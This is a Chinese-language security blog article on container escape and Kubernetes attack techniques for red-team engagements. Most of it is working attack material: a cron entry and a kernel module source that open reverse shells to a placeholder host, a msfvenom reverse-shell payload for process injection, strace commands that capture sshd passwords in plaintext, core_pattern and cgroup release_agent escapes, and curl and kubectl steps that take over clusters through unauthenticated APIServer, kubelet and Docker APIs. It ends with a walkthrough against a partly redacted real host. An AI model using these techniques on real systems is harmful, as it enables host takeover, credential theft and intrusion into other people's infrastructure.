-
-
云攻防之容器逃逸与k8s攻击手法
-
发表于: 2023-4-11 11:00 7416
-
本文主要介绍容器逃逸手法与k8s利用手法。
随着云原生技术的不断发展,越来越多的企业将自身业务系统部署在云上或将其容器化。在一般的攻防演练中,拿下容器的情况时常发生。因为容器环境受限较多,我们需要突破容器环境,才能更好地进行横向渗透。此外,k8s目前几乎已经成为云原生的基础设施,了解k8s的一些利用手法也可以帮助我们丰富在云和容器环境中的攻防知识。
首先,我们对k8s的一些必要组件和名词做个简单介绍。
名词解释
容器逃逸
在拿下一台服务器之后,我们会遇到“服务器即容器”的情况。为了能够深入或横向渗透,我们常常需要进行容器逃逸和容器的隔离限制。容器实际是宿主机中的一个受限制进程,能够直接在宿主机中看到容器进程,容器与虚拟机有着本质上的不同。容器逃逸是一个受限进程获取未受限权限的一个操作,这比较接近提权操作。
权限策略及描述
Linux使用Capabilities来限制进程在系统调用上的权限问题,以下是一些策略名及其描述,容器逃逸的方式跟这些策略有着紧密的联系。
特权容器逃逸
特权容器具备所有特权集,在容器内部能做到的事也更多,比如挂载宿主机目录、访问宿主机所有devices,我们先从特权容器出发,介绍一些常见的逃逸手法。
测试环境可以用以下命令/配置文件进入容器
1 | docker run - it - - privileged ubuntu / bin / bash |
或者k8s使用以下配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 | apiVersion: v1 kind: Pod metadata: name: privileged namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] securityContext: privileged: true |
挂载rootfs
在特权容器中,我们可以查看、挂载宿主机中的磁盘。
1 | fdisk - l |
一个较为直接的逃逸手法则是,直接挂载宿主机磁盘(宿主机根目录)到容器中,再chroot到宿主机磁盘,如下
1 2 | mount / dev / vda1 rootfs / chroot rootfs / |
这样便逃逸成功。特权容器可以自己把宿主机的根目录挂载进容器,如果目前可控的不是一个特权容器,但创建容器时宿主机的根目录被挂载进了容器,同样可以使用该手法进行逃逸。
写入定时任务
当然,除此之外还可以考虑在挂载磁盘之后直接写定时任务,如下
1 | echo "* * * * * root /bin/bash -i >& /dev/tcp/host/port 0>&1" >>rootfs / etc / crontab |
再比如将ssh公钥写入到宿主机中,如果容器中有ssh,则可以试着直接连接。
需要注意的是,crontab、authorized_keys等文件是EDR、HIDS重点监控的对象,直接进行操作很容易触发告警。特权容器荣有较多权限集,在后续权限集中讲到的逃逸手法通常在特权容器中也都适用。
Mknod
在特权容器中,还可以尝试利用mknod进行逃逸。
mknod命令的作用是创建一个特殊文件(比如磁盘、软盘等类型的block设备,又或者是面向字符的其他设备),它的用法如下
1 | mknod 新文件名 type 主设备号 次设备号 |
倘若我们知道宿主机在操作系统中的主次设备号,则可以尝试使用该命令创建指向宿主机的一个block文件,而后利用debugfs命令访问该文件,从而达到操控宿主机文件的效果。
在docker容器中,/etc/hostname、/etc/resolv.conf、/etc/hosts通常是从宿主机中挂载而来,我们可以通过查看容器的挂载信息来获知宿主机的主次设备号。
1 2 3 | cat / proc / 1 / mountinfo |grep / etc / mknod newnod b 252 1 debugfs - w newnod |
在成功创建完指向宿主机的块文件后,就可以对宿主机中的文件进行任意读写了。
比如
上述方法为设备文件系统类型是ext2/ext3/ext4时可用的,当设备文件系统类型是xfs时,可以更方便的进行操作。
//使用mknod创建块设备的操作与前文一样,这里仅说与debugfs -w newnode不同的地方
1 2 | mkdir fine mount newnod fine |
将设备节点进行挂载,可以直接对该节点进行操作,不过,这需要我们创建的节点文件系统为xfs类型。
也可以使用neargle与CDXY 两位师傅的工具进行利用。
https://github.com/cdk-team/CDK/wiki/Exploit:-lxcfs-rw
特殊目录挂载
当容器中挂载了以下特殊目录时,我们也可以尝试进行逃逸
1 2 3 4 5 | / / etc / proc / root 用户目录 |
挂载proc
前面讲过的目录我们不再多言。当宿主机proc被挂载进容器时,可以利用宿主机proc目录下的core_pattern文件(/proc/sys/kernel/core_pattern)进行逃逸。测试环境如下
1 | docker run - it - v / proc: / tmp / proc ubuntu / bin / bash |
或者k8s使用以下配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | apiVersion: v1 kind: Pod metadata: name: procvol namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] volumeMounts: - name: proc mountPath: / tmp / proc volumes: - name: proc hostPath: path: / proc |
/proc/sys/kernel/core_pattern文件在Linux中有一个作用,即在进程崩溃时,系统内核将捕获进程崩溃信息并将之记录在一个文件中,该文件默认名称为core,可以通过更改/proc/sys/kernel/core_pattern文件来进行修改。除此之外,core_pattern还有一个特性:当core_pattern的第一个字符为管道符|时,它会以root用户权限执行管道符后指定的文件。故,当宿主机的/proc目录被挂载进容器时,可以通过修改该文件,达到时宿主机执行一个bash脚本的效果。
在宿主机中,每个容器自己的目录下都存在一个diff文件夹,该文件夹中存放的内容为每个容器自创建之后与镜像文件相比做了改变的文件,在容器中执行sed -n 's/.\perdir=([^,]).*/\1/p' /etc/mtab即可获知当前容器在宿主机中对应的diff目录。
当我们在镜像内对容器内的文件进行修改时,宿主机中对应目录下也会存在对应的文件,这就相当于是在宿主机的指定目录中,容器拥有写权限。比如,我们在容器根目录随意创建一个文件,在宿主机中也会存在对应文件,所以我们在容器中写入一个bash脚本,宿主机中也会存在该文件,并且其路径是可知的。
在容器根目录创建newtest文件,在core_pattern中添加payload内容。
1 2 3 4 5 6 7 8 9 10 11 | cat <<EOF> / newtest #!/bin/bash touch / tmp / 4ut15mcc EOF chmod + x / newtest sed - n 's/.*\perdir=\([^,]*\).*/\1/p' / etc / mtab echo - e "|/var/lib/docker/overlay2/48c7383863c8f600b40fc1b3a8447356a2431471b9bf31073d09fd0f6b1c6b1d/diff/newtest" >core_pattern 或 echo - e "|/var/lib/docker/overlay2/48c7383863c8f600b40fc1b3a8447356a2431471b9bf31073d09fd0f6b1c6b1d/diff/newtest" > / tmp / proc / sys / kenerl / core_pattern |
这里说明一下,如果想要隐藏我们输入的信息,可以在脚本名后面添加\r与空格,如下
原理为,我们输入的内容里存在\r,它意为将光标移至行首但不换行,在\r后每添加一个字符都会将行首的一个字符在显示上进行覆盖,但其实际内容不变,这可以达到隐藏内容的效果。
接下来,用一个程序使容器发生段错误即可使宿主机运行newtest文件(在服务器上编译好传进去)
1 2 3 4 5 6 7 | #include <stdio.h> int main(void) int * a = NULL; * a = 1 ; return 0 ; } |
CAP_SYS_PTRACE
1 | docker run - - pid = host - - cap - add = SYS_PTRACE - - rm - it ubuntu bash |
或者k8s使用以下配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 | apiVersion: v1 kind: Pod metadata: name: ptracepod namespace: default spec: hostPID: true containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] securityContext: capabilities: add: - "SYS_PTRACE" |
抓取sshd账号密码
拥有该特权集,并且容器与宿主机共用进程命名空间时,容器可以利用strace、ptrace抓取宿主机sshd密码。命令如下:
1 2 | strace - f - F - p `ps aux|grep "sshd -D" |grep - v grep|awk { 'print $2' }` - t - e trace = read,write - s 32 2 > sshd.log grep - E 'read\(6, ".+\\0\\0\\0\\.+"' sshd.log |
当服务器管理员登录该服务器时即可抓取到ssh连接的明文账号密码。
当然,很多时候容器里并不一定存在strace命令,如果容器中存在包管理器,则可以手动安装,比如apt
1 | apt - get install strace |
没有的话,也可以考虑自行静态编译一个strace传进容器。
进程注入
除了抓取ssh账号密码之外,还可以通过ptrace系统调用以进程注入的形式来实现容器逃逸。
注入器使用https://github.com/dismantl/linux-injector
需要注意的是,该注入器需要安装fasm,链接http://flatassembler.net/download.php
将两者下载之后,准备工作如下
cd fasm下载目录
1 2 | tar - xvf fasm - 1.73 . 30.tgz export PATH = $PATH:`pwd` |
cd linux-injector-master下载目录
1 2 3 | unzip linux - injector - master. zip cd linux - injector - master make |
linux-injector可以将恶意elf注入至进程之中,使用msf生成木马,如下
1 | msfvenom - p linux / x64 / shell_reverse_tcp LHOST = host LPORT = port - f raw >reverse |
将编译后的linux-injector目录与木马打包,传到容器中
1 2 | cd linux - injector - master tar - cvf .. / injector.tar . |
而后选择一个宿主机中的进程进行注入即可。
CAP_SYS_ADMIN
SYS_ADMIN权限为privileged的子集。
1 | docker run - - cap - add = SYS_ADMIN - - security - opt apparmor = unconfined - it ubuntu bash |
或者k8s使用以下配置文件
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | apiVersion: v1 kind: Pod metadata: name: adminpod namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] securityContext: capabilities: add: - "SYS_ADMIN" |
notify_on_release
容器技术利用Linux的Cgroup机制实现了在CPU、内存等硬件资源层面上的容器隔离与限制。在Linux的Cgroup中,它为每一个可控的资源都分配一个子系统,比如cpu子系统、memory子系统等,前者用以限制进程的CPU使用率、后者用以限制进程的内存使用量。notify_on_release机制则是:在cgroup下的子系统中(比如CPU、Memory)都有着一个notify_on_release文件,当notify_on_release文件的值为1时,该子系统中的所有进程都退出时,内核将以root的权限执行子系统中release_agent文件中指定路径的文件。
在每一个子系统的cgroup.procs文件中,则指明了当前子系统中的进程pid。
基于这个机制,如果我们将宿主机的cgroup挂载进容器,再修改notify_on_release与release_agent的值,即可达到容器逃逸的效果。为了不对宿主机进程造成影响,也为了能更方便的触发notify_on_release,我们先挂载cgroup,并且在内存子系统中再创建一个新的子系统(新建文件夹即是新建子系统,创建好文件夹后,会自动填充进资源文件)。
1 | mkdir ~ / mount_cgroup && mount - t cgroup - o memory cgroup ~ / mount_cgroup / && mkdir ~ / mount_cgroup / waittoty |
刚才说到,内核最终是作为宿主机去执行release_agent中指定路径的文件,所以我们需要再release_agent中指定宿主机目录下的文件路径,docker容器在宿主机中存在着自己的目录,我们在容器中创建文件,宿主机中也会有同样的文件,所以只要找到容器在宿主机中对应的目录并在容器中赋予目标文件可执行权限即可。
1 | sed - n 's/.*\perdir=\([^,]*\).*/\1/p' / etc / mtab |
接下来,我们只需要在waittoty中的cgroup.procs中指定进程pid,当目标进程结束时,即可完成逃逸。k8s连接pod的每一个shell都是不同的进程,所以我们可以将当前进程的pid写入cgroup.procs中,在退出当前shell的时候便能够触发。
1 | echo $$ > / root / mount_cgroup / waittoty / cgroup.procs |
当然,除此之外,还可以随便执行一个进程,并将其pid写入cgroup.procs中,也可以触发
1 | sh - c "echo \$\$ > /root/mount_cgroup/waittoty/cgroup.procs" |
CAP_SYS_MODULE
该权限允许容器在内核中加载内核ko库文件,可通过加载恶意ko库逃逸容器。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 | apiVersion: v1 kind: Pod metadata: name: modulepod namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] securityContext: capabilities: add: - "SYS_MODULE" |
可以使用以下恶意文件生成ko库
1 2 3 4 5 6 | #include <linux/kmod.h> #include <linux/module.h> MODULE_LICENSE( "GPL" ); MODULE_AUTHOR( "AttackDefense" ); MODULE_DESCRIPTION( "LKM reverse shell module" ); MODULE_VERSION( "1.0" ); |
1 2 3 4 5 6 7 8 9 10 11 12 13 | char * argv[] = { "/bin/bash" , "-c" , "bash -i >& /dev/tcp/host/port 0>&1" , NULL}; static char * envp[] = { "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin" , NULL }; static int __init reverse_shell_init(void) { return call_usermodehelper(argv[ 0 ], argv, envp, UMH_WAIT_EXEC); } static void __exit reverse_shell_exit(void) { printk(KERN_INFO "Exiting\n" ); } module_init(reverse_shell_init); module_exit(reverse_shell_exit); |
在该文件目录下创建Makefile文件,内容如下
1 2 3 4 5 | obj - m + = evilmodule.o all : make - C / lib / modules / $(shell uname - r) / build M = $(PWD) modules clean: make - C / lib / modules / $(shell uname - r) / build M = $(PWD) clean |
在make时,如果出现以下错误
1 2 3 | make - C / lib / modules / 3.10 . 0 - 1160.76 . 1.el7 .x86_64 / build M = / root / evil modules make: * * * / lib / modules / 3.10 . 0 - 1160.76 . 1.el7 .x86_64 / build: No such file or directory. Stop. make: * * * [ all ] Error 2 |
则可能是编译环境中缺少内核开发包,需要安装
1 | yum install kernel - devel - $(uname - r) |
将该库传入容器,再使用insmod加载即可。
在实际利用时,还是需要注意一下容器目前内核的版本,最好能用目标容器的内核版本编译ko库。
倘若容器中没有insmod命令,可以手动编译再放进去。
1 2 3 4 5 6 7 8 9 10 | #define _GNU_SOURCE #include <fcntl.h> #include <stdio.h> #include <sys/stat.h> #include <sys/syscall.h> #include <sys/types.h> #include <unistd.h> #include <stdlib.h> #define init_module(module_image, len, param_values) syscall(__NR_init_module, module_image, len, param_values) #define finit_module(fd, param_values, flags) syscall(__NR_finit_module, fd, param_values, flags) |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 | int main( int argc, char * * argv) { const char * params; int fd, use_finit; size_t image_size; struct stat st; void * image; / * CLI handling. * / if (argc < 2 ) { puts( "Usage ./insmod.o mymodule.ko [args='' [use_finit=0]" ); return EXIT_FAILURE; } if (argc < 3 ) { params = ""; } else { params = argv[ 2 ]; } if (argc < 4 ) { use_finit = 0 ; } else { use_finit = (argv[ 3 ][ 0 ] ! = '0' ); } / * Action. * / fd = open (argv[ 1 ], O_RDONLY); if (use_finit) { puts( "finit" ); if (finit_module(fd, params, 0 ) ! = 0 ) { perror( "finit_module" ); return EXIT_FAILURE; } close(fd); } else { puts( "init" ); fstat(fd, &st); image_size = st.st_size; image = malloc(image_size); read(fd, image, image_size); close(fd); if (init_module(image, image_size, params) ! = 0 ) { perror( "init_module" ); return EXIT_FAILURE; } free(image); } return EXIT_SUCCESS; } |
容器逃逸,除上述手法之外,还有很多,比如利用内核漏洞等,不再一一介绍。
k8s组件利用
k8s核心组件出现错误配置之时可能会存在未授权利用,比如APIServer未授权、Docker Remote Api未授权等。下面我们对k8s核心组件的未授权利用进行介绍。
APIServer
APIServer是K8s各组件之间交互的通道,各组件的交互皆通过APIServer实现,此外K8s中的认证、准入等功能也是在APIServer中实现,它也是K8s所有功能的主入口。通过APIServer,我们可以通过http请求的方式对集群进行控制。APIServer默认端口为8080,安全端口6443。默认的8080端口存在着未授权访问,在新版本k8s中已取消该默认端口。
未授权利用
也可手动设置insecure-port将未授权访问打开,修改该配置文件后kube-apiserver会自动重载。
当我们能直接访问、控制到apiserver时,即可以说是已经拿下该集群。我们可以在本地使用kubectl远程控制集群,比如查看集群pod。
再比如,创建一个shell POD用以获取节点shell,yaml如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 | apiVersion: v1 kind: Pod metadata: name: shell namespace: default spec: containers: - name: ubuntu image: ubuntu imagePullPolicy: IfNotPresent command: [ "/bin/bash" , "-ce" , "tail -f /dev/null" ] volumeMounts: - name: rootfs mountPath: / tmp / rootfs volumes: - name: rootfs hostPath: path: / |
如下即可获取到节点服务器控制权。
当然,在实际的渗透环境中,并不建议这样操作,EDR与HIDS等主机层面的防护设备很容易识别到该操作,而后触发告警。
如果有时无法使用kubectl进行利用,可以手动发送http请求来控制APIServer。
比如kubectl get pod的等价http请求为:
1 2 3 | curl https: / / apiserver:port / api / v1 / namespace / defualt / pods - k kubectl create - f xxx.yaml curl https: / / apiserver:port / api / v1 / namespace / default / pods - d '{"apiVersion":"v1","kind":"Pod","metadata":{"name":"shell","namespace":"default"},"spec":{"containers":[{"command":["/bin/bash","-ce","tail -f /dev/null"],"image":"ubuntu","imagePullPolicy":"IfNotPresent","name":"ubuntu","volumeMounts":[{"mountPath":"/tmp/rootfs","name":"rootfs"}]}],"volumes":[{"hostPath":{"path":"/"},"name":"rootfs"}]}}' - k |
//请求包
1 2 3 4 5 6 7 8 9 10 | POST / api / v1 / namespaces / default / pods?fieldManager = kubectl - create&fieldValidation = Strict HTTP / 1.1 Host: apiserver:port User - Agent: kubectl / v1. 25.4 (darwin / arm64) kubernetes / 872a965 Content - Length: 340 Accept: application / json Content - Type : application / json Kubectl - Command: kubectl create Kubectl - Session: 262ac496 - 5949 - 4863 - 80ea - 2f69df750268 Accept - Encoding: gzip, deflate Connection: close |
1 | { "apiVersion" : "v1" , "kind" : "Pod" , "metadata" :{ "name" : "shell" , "namespace" : "default" }, "spec" :{ "containers" :[{ "command" :[ "/bin/bash" , "-ce" , "tail -f /dev/null" ], "image" : "ubuntu" , "imagePullPolicy" : "IfNotPresent" , "name" : "ubuntu" , "volumeMounts" :[{ "mountPath" : "/tmp/rootfs" , "name" : "rootfs" }]}], "volumes" :[{ "hostPath" :{ "path" : "/" }, "name" : "rootfs" }]}} |
倘若不知道kubectl命令对应哪个请求,可以在本地使用kubectl -v=8查看日志。
在POD中执行命令使用的是SPDY协议的请求,curl不支持。
在默认情况下,安全端口(6443)无法未授权访问。
要想通过6443来控制k8s,需要取得服务器的token才行,或者是,目标集群给匿名用户配置了集群管理员权限,如下。
1 | kubectl create clusterrolebinding test - admin - - clusterrole cluster - admin - - user system:anonymous |
kubeconfig泄露
除了APIServer未授权之外,倘若我们能读取到k8s服务器的kubeconfig(默认位置$HOME/.kube/config,比如/root/.kube/config)
我们可以使用目标主机的kubeconfig(替换本地),直接接管目标k8s。
实例
以小美一台主机为例,访问http://2xx.xxx.xxx.xxx:8080,发现kubernetes接口信息。
通过kubectl -s "2xx.xxx.xxx.xxx:8080" get pod,确认可以控制该服务器k8s。
尝试创建一个shell pod。
该集群节点存在污点,调度失败,尝试对现有pod进行利用。
存在cap_mknod权限。
发现该容器是nobody用户,无法使用mknod创建节点。
一番查找,发现该容器将宿主机根目录挂载到了/master中,但因为nobody用户权限问题,无法利用。
我们自己编写的pod文件不符合该服务器调度设置,故,我们导出test-444444的配置,在其配置上进行修改,来禁用容器的安全限制。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 | kubectl - s "2xx.xxx.xxx.xxx:8080" get pod test - 444444 - o yaml >test.yaml apiVersion: v1 kind: Pod metadata: annotations: cni.projectcalico.org / podIP: 172.20 . 1.17 / 32 creationTimestamp: "2023-01-03T18:35:06Z" name: test - webshell namespace: default resourceVersion: "96207812" selfLink: / api / v1 / namespaces / default / pods / test - 444444 uid: 09199633 - 3e67 - 4c7a - bfc8 - 31b080f49e63 spec: hostNetwork: true securityContext: runAsNonRoot: false runAsUser: 0 containers: - command: - / bin / sleep - 3650d image: registry.jadecloud.local: 5000 / prometheus / node - exporter:v0. 18.1 imagePullPolicy: IfNotPresent name: test - 444444 resources: {} terminationMessagePath: / dev / termination - log terminationMessagePolicy: File volumeMounts: - mountPath: / master name: master - mountPath: / var / run / secrets / kubernetes.io / serviceaccount name: default - token - 85g47 readOnly: true dnsPolicy: ClusterFirst enableServiceLinks: true nodeName: cis01 - eahje2mhemgd - master - 2 restartPolicy: Always schedulerName: default - scheduler serviceAccount: default serviceAccountName: default terminationGracePeriodSeconds: 30 tolerations: - effect: NoSchedule key: CriticalAddonsOnly operator: Exists - effect: NoSchedule key: dedicated operator: Exists - effect: NoExecute key: node.kubernetes.io / not - ready operator: Exists tolerationSeconds: 300 - effect: NoExecute key: node.kubernetes.io / unreachable operator: Exists tolerationSeconds: 300 volumes: - hostPath: path: / type : Directory name: master - name: default - token - 85g47 secret: defaultMode: 420 secretName: default - token - 85g47 status: conditions: - lastProbeTime: null lastTransitionTime: "2023-01-03T18:35:06Z" status: "True" type : Initialized - lastProbeTime: null lastTransitionTime: "2023-01-03T18:35:07Z" status: "True" type : Ready - lastProbeTime: null lastTransitionTime: "2023-01-03T18:35:07Z" status: "True" type : ContainersReady - lastProbeTime: null lastTransitionTime: "2023-01-03T18:35:06Z" status: "True" type : PodScheduled containerStatuses: - containerID: docker: / / 96c732c5ba0d0b0779e840ad258ce8026dcaedfa76597a78de3e72c208b3bc2d image: registry.jadecloud.local: 5000 / prometheus / node - exporter:v0. 18.1 imageID: docker - pullable: / / registry.jadecloud.local: 5000 / prometheus / node - exporter@sha256:b630fb29d99b3483c73a2a7db5fc01a967392a3d7ad754c8eccf9f4a67e7ee31 lastState: {} name: test - 444444 ready: true restartCount: 0 state: running: startedAt: "2023-01-03T18:35:07Z" hostIP: 192.168 . 110.48 phase: Running podIP: 172.20 . 1.17 qosClass: BestEffort startTime: "2023-01-03T18:35:06Z" |
chroot master即可。
倘若该内容还存在其他集群,则可以当前节点为跳板去攻击。
另外,在同一集群下,横移到其他节点,可以通过调度指定节点创建shellpod的方式。
Kubectl proxy
kubectl proxy可以在kubectl客户端与APIServer之间建立一个反向代理,将APIServer代理到kubectl客户端,代理成功之后可以直接在kubectl客户端访问APIServer,并且proxy默认不鉴权。
1 | kubectl proxy - - port = 8080 |
运行kubectl时如果将监听端口设置为0.0.0.0或任何外部能访问到的ip并且未对许可访问主机进行限制,都将使得外部主机能够未授权访问并控制APIServer。
1 | kubectl proxy - - port = 8084 - - address = 0.0 . 0.0 - - accept - hosts = ^. * $ |
具体利用手法则与APIServer小节相同。
Kubelet
Kubelet是在K8s集群节点中运行的重要服务,节点通过kubelet与APIServer进行通信,APIServer将pod信息下发给kubelet,而后kubelet根据信息创建pod,kubelet直接与容器引擎交互,负责pod的生命周期管理,kubelet 监听了10248、 10250、10255 等端口。
当kubelet配置文件中的anonymous设置为true时,可以直接通过访问kubelet的10250端口未授权访问指定节点kubelet。
比如直接查看pod信息
再比如在pod中执行命令curl https://kubeletserver:port/run/namespace/pod/container -d "cmd=命令" -k,比如curl https://192.168.2.136:10250/run/nginx/nginx/nginx -d "cmd=命令" -k
当存在kubelet未授权访问时,我们可以在https://xxx.xx.x.xxx:10250/pods中找到原本就存在的高权限容器,而后再通过逃逸操作来获得指定节点控制权。
DockerRemoteAPI
大多K8s使用docker作为容器引擎,Docker daemon是docker的守护进程,docker客户端通过与Docker daemon交互来操控docker。docker daemon默认未鉴权,也就是说,如果目标服务器对外开放了docker daemon,我们可以直接通过指定端口(一般为2375)与docker进行交互,控制docker。
当docker进行如下配置(/usr/lib/systemd/system/docker.service)时,可以远程未授权利用。
远程ls目标docker中的容器。
同样,可以借此创建一个shell容器,进而获取目标服务器控制权。
1 | docker - H "tcp://host:port" run - it - v / : / tmp / rootfs ubuntu / bin / bash |
我们可以通过访问http://192.168.2.136:2375/info来确认目标是否存在docker remote api未授权。
Dashboard
当Kubernetes-dashboard的ServiceAccount被错误配置权限时,攻击者可直接无token登录dashboard去操控k8s,这里不再进行演示。
Etcd
etcd是一个分布式的键值存储系统,通常用来存储一些关键数据,比如配置文件。在多数情况下,etcd中的数据未经过数据加密,故当其中数据泄露时,则会对k8s集群带来危害。在默认情况下etcd监听端口为2379,配置文件路径为/etc/kubernetes/manifests/etcd.yaml
可以通过etcd未授权读取token,而后再接管服务器,这里不再进行演示。